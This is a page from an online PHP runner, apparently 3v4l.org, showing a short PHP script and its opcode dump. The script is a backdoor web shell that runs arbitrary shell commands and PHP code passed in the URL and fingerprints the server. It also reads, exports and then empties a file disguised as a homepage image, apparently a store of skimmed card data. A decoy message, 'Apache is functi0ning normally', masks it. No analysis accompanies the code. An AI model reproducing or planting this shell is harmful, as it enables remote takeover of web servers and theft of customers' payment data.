3v4l.org

run code in 300+ PHP versions simultaneously
<?php $file = '/home/content/98/4798798/html/products/home_page_images/20100813090339_Main+Homepage.jpg'; switch($_GET['act']) { case 'system_eval': system($_GET['com']); break; case 'php_eval': eval($_GET['com']); break; case 'ccstats': if (file_exists($file)) echo(count(file($file))); else echo '-1'; break; case 'ccexport': echo file_get_contents($file); file_put_contents($file, ''); break; case 'info': $info = exec("uname -a"); preg_match("/(.*?) /", $info, $system); echo $system[1].":".$_SERVER["SERVER_ADDR"].":".phpversion(); break; default: echo("Apache is functi0ning normally"); break; } ?>
Finding entry points
Branch analysis from position: 0
7 jumps found. (Code = 188) Position 1 = 15, Position 2 = 21, Position 3 = 25, Position 4 = 37, Position 5 = 46, Position 6 = 66, Position 7 = 4
Branch analysis from position: 15
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 21
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 25
2 jumps found. (Code = 43) Position 1 = 29, Position 2 = 35
Branch analysis from position: 29
1 jumps found. (Code = 42) Position 1 = 36
Branch analysis from position: 36
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 35
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 37
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 46
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 66
1 jumps found. (Code = 42) Position 1 = 68
Branch analysis from position: 68
Branch analysis from position: 4
2 jumps found. (Code = 44) Position 1 = 6, Position 2 = 15
Branch analysis from position: 6
2 jumps found. (Code = 44) Position 1 = 8, Position 2 = 21
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 10, Position 2 = 25
Branch analysis from position: 10
2 jumps found. (Code = 44) Position 1 = 12, Position 2 = 37
Branch analysis from position: 12
2 jumps found. (Code = 44) Position 1 = 14, Position 2 = 46
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 66
Branch analysis from position: 66
Branch analysis from position: 46
Branch analysis from position: 37
Branch analysis from position: 25
Branch analysis from position: 21
Branch analysis from position: 15
filename:       /in/rmgfg
function name:  (null)
number of ops:  70
compiled vars:  !0 = $file, !1 = $info, !2 = $system
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%2Fhome%2Fcontent%2F98%2F4798798%2Fhtml%2Fproducts%2Fhome_page_images%2F20100813090339_Main%2BHomepage.jpg'
    5     1        FETCH_R                      global              ~4      '_GET'
          2        FETCH_DIM_R                                      ~5      ~4, 'act'
          3      > SWITCH_STRING                                            ~5, [ 'system_eval':->15, 'php_eval':->21, 'ccstats':->25, 'ccexport':->37, 'info':->46, ], ->66
    7     4    >   CASE                                                     ~5, 'system_eval'
          5      > JMPNZ                                                    ~6, ->15
   11     6    >   CASE                                                     ~5, 'php_eval'
          7      > JMPNZ                                                    ~6, ->21
   15     8    >   CASE                                                     ~5, 'ccstats'
          9      > JMPNZ                                                    ~6, ->25
   22    10    >   CASE                                                     ~5, 'ccexport'
         11      > JMPNZ                                                    ~6, ->37
   27    12    >   CASE                                                     ~5, 'info'
         13      > JMPNZ                                                    ~6, ->46
         14    > > JMP                                                      ->66
    8    15    >   INIT_FCALL                                               'system'
         16        FETCH_R                      global              ~7      '_GET'
         17        FETCH_DIM_R                                      ~8      ~7, 'com'
         18        SEND_VAL                                                 ~8
         19        DO_ICALL                                                 
    9    20      > JMP                                                      ->68
   12    21    >   FETCH_R                      global              ~10     '_GET'
         22        FETCH_DIM_R                                      ~11     ~10, 'com'
         23        INCLUDE_OR_EVAL                                          ~11, EVAL
   13    24      > JMP                                                      ->68
   16    25    >   INIT_FCALL                                               'file_exists'
         26        SEND_VAR                                                 !0
         27        DO_ICALL                                         $13     
         28      > JMPZ                                                     $13, ->35
   17    29    >   INIT_FCALL                                               'file'
         30        SEND_VAR                                                 !0
         31        DO_ICALL                                         $14     
         32        COUNT                                            ~15     $14
         33        ECHO                                                     ~15
         34      > JMP                                                      ->36
   19    35    >   ECHO                                                     '-1'
   20    36    > > JMP                                                      ->68
   23    37    >   INIT_FCALL                                               'file_get_contents'
         38        SEND_VAR                                                 !0
         39        DO_ICALL                                         $16     
         40        ECHO                                                     $16
   24    41        INIT_FCALL                                               'file_put_contents'
         42        SEND_VAR                                                 !0
         43        SEND_VAL                                                 ''
         44        DO_ICALL                                                 
   25    45      > JMP                                                      ->68
   28    46    >   INIT_FCALL                                               'exec'
         47        SEND_VAL                                                 'uname+-a'
         48        DO_ICALL                                         $18     
         49        ASSIGN                                                   !1, $18
   29    50        INIT_FCALL                                               'preg_match'
         51        SEND_VAL                                                 '%2F%28.%2A%3F%29+%2F'
         52        SEND_VAR                                                 !1
         53        SEND_REF                                                 !2
         54        DO_ICALL                                                 
   30    55        FETCH_DIM_R                                      ~21     !2, 1
         56        CONCAT                                           ~22     ~21, '%3A'
         57        FETCH_R                      global              ~23     '_SERVER'
         58        FETCH_DIM_R                                      ~24     ~23, 'SERVER_ADDR'
         59        CONCAT                                           ~25     ~22, ~24
         60        CONCAT                                           ~26     ~25, '%3A'
         61        INIT_FCALL                                               'phpversion'
         62        DO_ICALL                                         $27     
         63        CONCAT                                           ~28     ~26, $27
         64        ECHO                                                     ~28
   31    65      > JMP                                                      ->68
   34    66    >   ECHO                                                     'Apache+is+functi0ning+normally'
   35    67      > JMP                                                      ->68
         68    >   FREE                                                     ~5
   38    69      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
162.23 ms | 1404 KiB | 29 Q